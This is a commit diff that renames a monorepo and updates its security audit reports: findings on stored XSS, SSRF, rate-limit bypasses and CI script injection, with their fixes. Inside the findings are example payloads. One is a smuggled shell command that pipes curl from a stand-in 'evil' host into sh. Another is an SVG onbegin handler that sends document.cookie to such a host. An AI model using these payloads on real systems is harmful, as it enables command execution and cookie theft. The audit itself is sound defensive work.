Update hivegrid-cloud reference to latest main
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
1 parent
e98d38e716
commit
7b21524c86
3781 files changed
+373484
-225607
No files matched your search
@@ -1,4 +1,4 @@
|
||||
# Security Audit — toolctrl-boilerplate
|
||||
# Security Audit — hivegrid-cloud
|
||||
|
||||
Date: 2026-05-29
|
||||
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
|
||||
@@ -107,7 +107,7 @@ media.name = sanitizeFileName(media.name);
|
||||
|
||||
**Recommended fix**
|
||||
|
||||
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @toolctrl/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
|
||||
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @hivegrid/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
|
||||
|
||||
**Verifier notes**
|
||||
|
||||
@@ -589,9 +589,9 @@ Additionally validate the value is a single-line https URL (reject newlines/meta
|
||||
|
||||
**Verifier notes**
|
||||
|
||||
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.TOOLCTRL_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
|
||||
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.HIVEGRID_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
|
||||
|
||||
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on TOOLCTRL_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
|
||||
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on HIVEGRID_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
|
||||
|
||||
---
|
||||
|
||||
@@ -634,7 +634,7 @@ One nuance, in fairness to the finder: the global CSP is PARTIAL — it has base
|
||||
Note also a benign interaction: the embed.forms route sets x-frame-options: ALLOWALL (embed.forms.$formKey.tsx:60), but appendWebSecurityHeaders only skips re-setting CSP when present (server.ts:258) and unconditionally setHeader()s X-Frame-Options back to SAMEORIGIN — i.e. it makes the posture MORE restrictive (likely a functional bug for the embed feature), not less. This is the opposite of a security weakness.
|
||||
|
||||
- **Marketing outbound adapter SSRF guard omits DNS resolution (literal-hostname only)** (SSRF, Webhooks & Signature Verification)
|
||||
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @toolctrl/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
|
||||
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @hivegrid/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
|
||||
|
||||
- **Hardcoded default HMAC secret for legacy API-key hashing falls back silently when env unset** (Secrets, Cryptography & Config Exposure)
|
||||
- The finding's premise — "if an operator never sets the per-deploy hash secret, the public default is used silently" — does not hold against the actual wiring.
|
||||
@@ -677,7 +677,7 @@ The session-binding gap the finder describes is real as written (transports keye
|
||||
- **Workflow start/trigger/continue-start endpoints accept caller-supplied tenantId with no per-tenant authorization beyond the shared proxy HMAC** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
|
||||
- I traced the full data flow and the finder's central premise — that these three endpoints are uniquely weaker than their siblings (run/continue/executions) which "derive tenant from an authenticated API key" — is incorrect.
|
||||
|
||||
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
|
||||
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
|
||||
|
||||
(2) The claimed asymmetry with the siblings does not exist. The siblings call getWorkflowApiKeyFromRequest -> validateApiKey (apiService.ts:306-313, 158-213). The worker is the only real caller and it authenticates with X-Api-Key: API_ACCESS_TOKEN (workflow-trigger-http-executor.ts:66). For that service-token, validateApiKey takes the branch at apiService.ts:198-207, where the tenant is resolved from getServiceTenantScopeFromRequest — which reads the SAME caller-supplied ?tenantId / X-Tenant-Id / X-Account-Id values (apiService.ts:132-141) and performs NO membership check (just findLegacyTenantByIdOrSlug). So the siblings trust caller-supplied tenant scope exactly as much as the three cited endpoints once the shared service token is presented. The per-tenant stored-API-key path (validateTenantApiKey) is a different code path the worker never uses, and it actually rejects requests that carry tenantId/X-Tenant-Id (apiService.ts:209-211). The trust boundary is identically the single shared API_ACCESS_TOKEN in both groups.
|
||||
|
||||
@@ -690,7 +690,7 @@ Net: the described scenario reduces to 'a party holding the shared internal serv
|
||||
- **Internal workflow error messages are returned near-verbatim to the proxy caller** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
|
||||
- The cited sink (redactWorkflowApiErrorMessage in apps/web/app/routes/internal/api/__workflows/workflowApiErrors.server.ts:35-49) does echo raw Error.message after stripping only credential substrings, including for status>=500. But the claimed exploit path to an attacker is closed.
|
||||
|
||||
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
|
||||
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
|
||||
|
||||
(2) The only legitimate 'proxy caller' is the internal worker (apps/worker/src/jobs/workflow-trigger-http-executor.ts), a server-to-server caller that holds the secret. The error body it receives is consumed in workflow-trigger.ts:263-277 — logged or rethrown into the queue machinery — NOT returned to any external HTTP client. The public API app (apps/api) does not reference workflows at all (grep found zero non-test hits), so the finder's claim that the result is 'surfaced back through the public workflow run/trigger flows' to a tenant is unfounded.
|
||||
|
||||
|
||||
@@ -0,0 +1,156 @@
|
||||
# Security Audit — hivegrid-cloud
|
||||
|
||||
Date: 2026-07-04
|
||||
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
|
||||
Scope: full monorepo (apps/web, apps/api, apps/worker, apps/mcp, packages/*), with extra scrutiny on the freshly built MCP endpoint.
|
||||
|
||||
Result: 15 raw findings -> **11 confirmed** (3 high, 3 medium, 5 low), 4 false positives filtered out, 0 need manual review.
|
||||
|
||||
## Remediation status (2026-07-04)
|
||||
|
||||
All 11 confirmed findings fixed on branch `akeshan/security-audit-fixes`. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets, lint-staged) and the relevant app typecheck. Not yet merged/deployed — see the deploy prerequisite below.
|
||||
|
||||
- **XSS — icon sanitization** (`b1760f5be`): route KB category (list + top-articles) and onboarding step icons through `sanitizeIconSvg()` instead of a bare `.replace("<svg", …)`; the KB renderers are reachable on the unauthenticated `/docs` page. (#1, #4, #8)
|
||||
- **MCP rate-limit batching** (`58b1ee990`): parse the body before auth, count JSON-RPC operations, reject batches over `MCP_MAX_BATCH_OPERATIONS` (50), charge one token per operation. (#2)
|
||||
- **MCP OAuth tenant kill-switch** (`93d142bb8`): reject deactivated tenants on the OAuth access path and the refresh grant, mirroring the API-key branch. (#5)
|
||||
- **MCP hash-secret fail-closed** (`58b2e338b`, relaxed in `16828fa38`): `loadMcpRuntimeConfig` refuses to boot in production without a resolvable token hash secret. (#7)
|
||||
- **Login enumeration** (`da1f37862`): passwordless accounts now get the identical generic invalid-credentials response + dummy-hash comparison as an unknown email. (#9)
|
||||
- **MFA XFF brute-force** (`27b85682e`): authoritative per-user MFA limiter (IP-independent) + trusted-header client IP. (#3)
|
||||
- **Public-form XFF** (`95293d2f1`): lead-capture and embed-form per-IP limiters key on a trusted header. (#11)
|
||||
- **MCP pre-auth shield** (`48633aec7`): per-IP fixed-window limiter before the token lookups; trusted-header client IP. (#10)
|
||||
- **SSRF DNS-rebinding** (`256b228fa`): pin the outbound connection to the DNS-validated IP via an undici dispatcher. (#6)
|
||||
|
||||
Follow-ups in the same branch:
|
||||
|
||||
- **Trusted-IP sweep** (`9133a63e7`): extend the trusted-client-IP hardening to the remaining leftmost-XFF throttles (API login limiter, API public-api + usage limiters, web auth throttle).
|
||||
- **Magic-link hint** (`e083a183c`): re-surface the magic-link hint generically on the forgot-password sent state (removed from the login response by #9), without leaking account existence.
|
||||
|
||||
### Deploy prerequisite for #7 (done for staging)
|
||||
|
||||
After #7 the MCP container **refuses to boot in production** until a token hash secret is set, instead of silently running on the public source-code constant. The guard requires a single resolvable secret — `MCP_OAUTH_TOKEN_HASH_SECRET` (or `API_KEY_HASH_SECRET` as a fallback), relaxed in `16828fa38` so one variable is sufficient.
|
||||
|
||||
Because the web app **issues** the OAuth tokens and the MCP app **validates** them with the same `MCP_OAUTH_TOKEN_HASH_SECRET ?? API_KEY_HASH_SECRET`, the secret must hold the **same value on both the web and mcp resources**. Setting it invalidates MCP OAuth tokens issued against the old fallback (clients re-authenticate once).
|
||||
|
||||
**Status:** provisioned on staging — `MCP_OAUTH_TOKEN_HASH_SECRET` set to the same `openssl rand -hex 32` value on both `hivegrid-web` and `hivegrid-mcp` (2026-07-04), redeployed. No production Coolify exists yet; when it does, set the same variable there (same value on web + mcp) before deploying this branch.
|
||||
|
||||
## Cross-cutting theme
|
||||
|
||||
Findings #3, #10, #11 (and the follow-up sweep) share one root cause: trusting the **leftmost `X-Forwarded-For`** value, which is client-controlled behind an appending proxy (Cloudflare/Traefik). New trusted-client-IP helpers read only proxy-set headers (`CF-Connecting-IP` / `True-Client-Ip` / `X-Real-IP`): `getTrustedClientIp` in `apps/web/app/utils/server/IpUtils.ts`, `apps/api/src/trusted-client-ip.ts`, and `getClientIp` in `apps/mcp/src/http.ts`.
|
||||
|
||||
---
|
||||
|
||||
## 1. [High] Stored XSS via unsanitized KB category icon on the public `/docs` help center
|
||||
|
||||
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesList.tsx:26` (and `KbCategoriesTopArticles.tsx:23`, finding #4)
|
||||
- **Data flow:** KB editor sets category `icon` (free-text, `KbCategoryForm`) -> stored verbatim (`KnowledgeBaseService.server.ts`) -> rendered via `dangerouslySetInnerHTML` with `item.icon.replace("<svg", "<svg class=…")` (splices a class, strips nothing) -> unauthenticated `/docs/:lang` route -> executes in every anonymous visitor's browser.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
A KB editor stores `<svg><animate onbegin="fetch('//evil/c?'+document.cookie)"/></svg>`. The `/docs` loader has no auth guard, so any anonymous visitor loading the page executes the payload in the app origin. Fixed by `sanitizeIconSvg()`, which strips script/foreignObject/event-handler vectors — the same sanitizer the sibling renderers already use.
|
||||
|
||||
## 2. [High] MCP rate limit bypassed via JSON-RPC batching
|
||||
|
||||
- **Category:** Rate-limiting / DoS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
|
||||
- **Location:** `apps/mcp/src/rate-limit.ts:34`, `apps/mcp/src/transport.ts`, `apps/mcp/src/auth.ts`
|
||||
- **Data flow:** `checkMcpRateLimit` consumed one token per HTTP request, but the Streamable-HTTP SDK dispatches every element of a JSON-RPC array body -> one authenticated POST carrying N `tools/call` messages ran all N handlers (incl. write tools) for one token.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An attacker with one valid MCP token sends a single POST with ~11,000 `tools/call` messages (fits in the 1 MB body cap), executing them all — mass writes / DB DoS within the tenant — while spending one of the 1,000/h key and 10,000/h tenant tokens. Fixed by counting operations, rejecting batches over 50, and charging one token per operation.
|
||||
|
||||
## 3. [High] MFA/TOTP brute-force via spoofed X-Forwarded-For
|
||||
|
||||
- **Category:** Auth / rate-limiting | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/utils/auth/mfa/challenge-rate-limit.server.ts:39`
|
||||
- **Data flow:** MFA throttle keyed on `${userId}:${ip}` where `ip` = leftmost (client-controlled) `X-Forwarded-For` -> attacker rotates the header per guess -> a fresh 5/5min bucket every time -> the 429 never fires.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An attacker holding the victim's password (thus a pending-MFA session) sends TOTP guesses with a random `X-Forwarded-For` per request, defeating the only anti-brute-force control on the 6-digit code — a full 2FA bypass. Fixed with an authoritative per-user limiter (keyed on `userId` alone, 15/15min) plus a trusted-header per-IP component.
|
||||
|
||||
## 4. [Medium] Stored XSS via KB icon on public `/docs` (KbCategoriesTopArticles)
|
||||
|
||||
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesTopArticles.tsx:23`
|
||||
- **Data flow:** Same defect as #1; injection is gated behind `admin.kb.*` (platform operator), so severity is medium, but the payload still executes for every anonymous `/docs` visitor. Fixed by `sanitizeIconSvg()`.
|
||||
|
||||
## 5. [Medium] MCP OAuth path does not reject deactivated tenants
|
||||
|
||||
- **Category:** Broken access control | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/mcp/src/auth.ts:38`, `apps/web/app/services/mcp/oauth.server.ts` (refresh grant)
|
||||
- **Data flow:** The API-key branch rejects `tenant.deactivatedReason`; the OAuth access branch and the refresh grant never checked tenant status -> a suspended tenant keeps MCP read+write access, and the rotating refresh token extends it indefinitely.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
Operations suspends a tenant for abuse/non-payment; its MCP client keeps reading CRM data and mutating projects/leads via still-valid OAuth tokens. Fixed by checking `deactivatedReason` in both the OAuth access branch and `exchangeRefreshToken`.
|
||||
|
||||
## 6. [Medium] SSRF DNS-rebinding TOCTOU in the outbound-HTTP guard
|
||||
|
||||
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
|
||||
- **Location:** `packages/foundation/src/outbound-http.ts:35`
|
||||
- **Data flow:** The guard resolves the hostname and checks the addresses against the blocklist, but `fetch(url)` re-resolves DNS independently at connect time -> a low-TTL hostname answers a public IP to the guard and an internal one (10.42.0.4 mesh, 169.254.169.254 metadata) to the connect.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An authenticated user submits a workflow HTTP block / webhook URL (`WorkflowBlockService.ts`, `apps/worker/src/handlers.ts`) whose hostname rebinds to an internal mesh IP; the auth-less mesh services (Meili, ClamAV, Loki, nsfw) are then reachable server-side. Fixed by pinning the connection to the validated IP via an undici dispatcher `lookup` (TLS SNI stays the hostname), re-pinned per redirect hop.
|
||||
|
||||
## 7. [Low] Hardcoded fallback HMAC secrets for MCP OAuth / API keys
|
||||
|
||||
- **Category:** Secrets / weak default | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/mcp/src/config.ts` (guard), `packages/db/src/mcp-oauth.server.ts:6`
|
||||
- **Data flow:** MCP OAuth token / legacy API-key hashing fall back to public source-code constants when the hash secrets are unset; the MCP runtime config read them as optional and booted silently on the fallback.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
A prod MCP deploy missing the secrets hashes tokens with a source-known key, making stored hashes portable across any default-keyed deployment (defense-in-depth loss; DB-write compromise could then mint valid tokens). Fixed by failing closed in production. See the deploy prerequisite above.
|
||||
|
||||
## 8. [Low] Stored XSS via onboarding step icon
|
||||
|
||||
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/modules/onboarding/blocks/OnboardingVariantModal.tsx:136`
|
||||
- **Data flow:** Same missing-sanitization pattern as #1; injection required the former host super-admin onboarding builder (`admin.onboarding.update`) and the payload executed for all tenants' end users. Fixed by `sanitizeIconSvg()` before the admin builder was removed from the default admin surface.
|
||||
|
||||
## 9. [Low] Login leaks existence of magic-link-only accounts
|
||||
|
||||
- **Category:** Auth / account enumeration | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/modules/users/services/AuthService.ts:250`
|
||||
- **Data flow:** Passwordless (`passwordHash === null`) accounts short-circuited with a distinct body (`requiresMagicLink`) before `verifyPassword` and skipped `recordFailedLogin` -> content + timing side-channel distinguishing invited accounts.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An attacker POSTs `/login` with a target email; a `requiresMagicLink` response (or a faster reply) marks it as a registered passwordless account. Fixed by falling through to the same dummy-hash comparison and generic invalid-credentials response as an unknown email; the magic-link hint moved to the forgot-password flow (`e083a183c`).
|
||||
|
||||
## 10. [Low] MCP endpoint has no pre-authentication rate limit
|
||||
|
||||
- **Category:** Rate-limiting / DoS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/mcp/src/auth.ts:38`, `apps/mcp/src/rate-limit.ts`
|
||||
- **Data flow:** The limiter was only reached after a token resolved, so requests with an invalid/absent token were never throttled yet still forced `findActiveMcpOAuthAccessToken` + `findLegacyApiKeyByKey` lookups.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An unauthenticated attacker floods the MCP root with junk bearer tokens, forcing DB token lookups (partly on the primary DB) with no throttle. Fixed with a per-IP fixed-window shield (300/min, trusted IP) before the token lookups.
|
||||
|
||||
## 11. [Low] Public form per-IP rate limit bypassable via spoofed X-Forwarded-For
|
||||
|
||||
- **Category:** Rate-limiting / injection | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
|
||||
- **Location:** `apps/web/app/routes/api.leads.capture.tsx:80`, `apps/web/app/routes/api.embed.forms.$formKey.submit.tsx:166`
|
||||
- **Data flow:** The lead-capture and embed-form endpoints key the per-IP limiter on the leftmost `X-Forwarded-For` -> a scripted attacker rotates the header to flood `InboxLead` / form submissions.
|
||||
|
||||
**Exploit scenario**
|
||||
|
||||
An attacker sets an allowlisted `Origin` and a unique `X-Forwarded-For` per POST, bypassing the per-IP cap to spam the tenant's inbox. Fixed by deriving the IP from a trusted proxy header.
|
||||
|
||||
---
|
||||
|
||||
## False positives filtered out (4)
|
||||
|
||||
- **MCP read tools bypass RBAC** (reported twice): `tenantHasMcpModule` requires `app.settings.roles.set` for every MCP request -> only an RBAC-admin-equivalent user can reach the tools, so no privilege boundary is crossed.
|
||||
- **Raw internal error messages to the MCP client**: every attacker-controllable failure is pre-guarded into a controlled `McpHttpError`; the residual leak is fault-only (DB outage), not attacker-drivable on demand.
|
||||
- **URL uploads buffer the remote body with no size cap**: `storageService.ts:96` early-returns http URLs unless a caller passes `replace: true`, and no production caller does -> unreachable dead code.
|
||||
|
||||
## Verification (local, green)
|
||||
|
||||
`apps/mcp/src/{transport,config,rate-limit}.test.ts` · `apps/web/app/utils/auth/mfa/challenge-rate-limit.server.test.ts` · `AuthService.passwordless.test.ts` · `AuthService.mfaLoginGate.test.ts` · `apps/web/app/utils/server/IpUtils.test.ts` · `apps/web/app/services/auth/auth-rate-limit.server.test.ts` · `apps/api/src/auth/login-rate-limit.test.ts` · `packages/foundation/src/outbound-http.test.ts` · `apps/worker/src/handlers.test.ts`.
|
||||
|
||||
Known Windows environmentals (not regressions): the full `apps/web` vitest suite fails on Node 22.15 at `new Request(...URLSearchParams)` (undici) — affects e.g. `registerFromRequest` and the forgot-password **action** tests, not the changed component/limiter/login paths.
|
||||
@@ -34,7 +34,7 @@ Scope is identical to the [`pen-test-scope.md`](./pen-test-scope.md) in-scope /
|
||||
- SPF / DKIM / DMARC misconfigurations that don't produce a deliverable spoof PoC
|
||||
- Username / email enumeration on documented public-discovery surfaces (e.g. password reset, signup)
|
||||
- Rate-limit thresholds (unless the threshold is so high that it enables a meaningful attack)
|
||||
- Vulnerabilities in third-party providers we use (Stripe, Mailjet, etc.) — please report directly to the provider
|
||||
- Vulnerabilities in third-party providers we use (Legacy-Provider, Mailjet, etc.) — please report directly to the provider
|
||||
- CSRF on logout or other low-impact GET-tolerant routes
|
||||
- Use of a known-vulnerable library version where the vulnerable function is not invoked by our codepath (SBOM is published — see [`sbom.md`](./sbom.md))
|
||||
|
||||
|
||||
@@ -47,8 +47,7 @@ The Hono API under `/v1` is not protected by browser-session CSRF. Mutating API
|
||||
| `jwt-auth` | `POST /v1/auth/refresh-token`, `POST /v1/auth/logout` | Requires an existing bearer JWT before issuing a replacement token or revoking the active API session. |
|
||||
| `optional-api-key-validation` | `POST /v1/api-keys/validate` | Public validation surface that classifies supplied API keys or service tokens without browser CSRF state. |
|
||||
| `service-token` | `POST /v1/ai/upload`, `POST /v1/maintenance/export-retention/enqueue`, `POST /v1/workspaces/:tenantId/context/revalidate`, `POST /v1/workspaces/:tenantId/invites`, `POST /v1/workspaces/:tenantId/invites/:inviteId/accept`, `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | Requires service/runtime credentials rather than browser CSRF state. |
|
||||
| `service-or-tenant-api-key` | `POST /v1/entities/:entity/rows`, `PATCH /v1/entities/:entity/rows/:rowId`, `DELETE /v1/entities/:entity/rows/:rowId`, `POST /v1/relationships`, `DELETE /v1/relationships/:id` | Requires service-token or tenant API-key authorization with tenant scope rather than browser CSRF state. |
|
||||
| `webhook-signature` | `POST /v1/events/webhooks/attempts/:id`, `POST /v1/support/inbound-email`, `POST /v1/email-sequences/mailjet/webhooks`, `POST /v1/billing/stripe/webhooks` | Requires signed webhook headers before queueing retry work, accepting inbound support email, correlating sequence provider bounces, or processing billing lifecycle events. |
|
||||
| `webhook-signature` | `POST /v1/events/webhooks/attempts/:id`, `POST /v1/support/inbound-email`, `POST /v1/email-sequences/mailjet/webhooks`, `POST /v1/billing/mollie/webhooks` | Requires signed webhook headers before queueing retry work, accepting inbound support email, correlating sequence provider bounces, or processing billing lifecycle events. |
|
||||
| `public-analytics-token` | `POST /v1/analytics/events`, `POST /v1/analytics/page-views` | Public analytics write ingress scoped to analytics payload identifiers and analytics-token semantics, not a browser session. |
|
||||
|
||||
